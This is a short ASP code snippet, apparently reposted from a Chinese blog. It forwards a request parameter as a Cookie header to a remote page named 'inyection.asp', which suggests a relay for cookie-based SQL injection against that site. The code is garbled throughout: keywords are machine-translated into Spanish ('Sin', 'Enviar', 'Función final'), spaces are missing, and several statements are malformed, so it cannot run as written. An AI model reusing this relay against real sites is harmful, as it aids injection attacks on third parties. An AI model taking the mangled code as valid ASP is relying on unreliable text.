来源 ： 职业欠钱 y ZJ1244 共 用的 PublicBlog
复制代码代码如下:
<%
Str = "xxxid =" & escapar (request ("fk"))
Url = "http://xxx.chinaxxx.com/inyection.asp"
Response.WritePostData (URL, STR)
FunctionPostData (posturl, postcok)
Dimhttp
Sethttp = server.createObject ("msxml2.ServerXMLHTTP")
Sin
.Open "Get", posturl, falso
.SetRequestHeader "Cookie", Postcok
.Enviar
Postdata = .ResponseBody
Fin
Sethttp = nada
Postdata = bytes2bstr (postdata)
Función final
Functionbytes2bstr (vin)
Dimstrreturn
Dimi, ThisCharCode, NextCharCode
strreturn = ""
Fori = 1TolenB (vin)
ThisCharCode = ASCB (MidB (Vin, I, 1))
Ifthischarcode <& h80Then
strreturn = strreturn & chr (thisCharcode)
Demás
Nextcharcode = ascb (midb (vin, i+1,1))
strreturn = strreturn & chr (clng (thisCharCode)*& H100+cint (nextcharcode)))
I = i+1
Endif
Próximo
bytes2bstr = strreturn
Función final
%>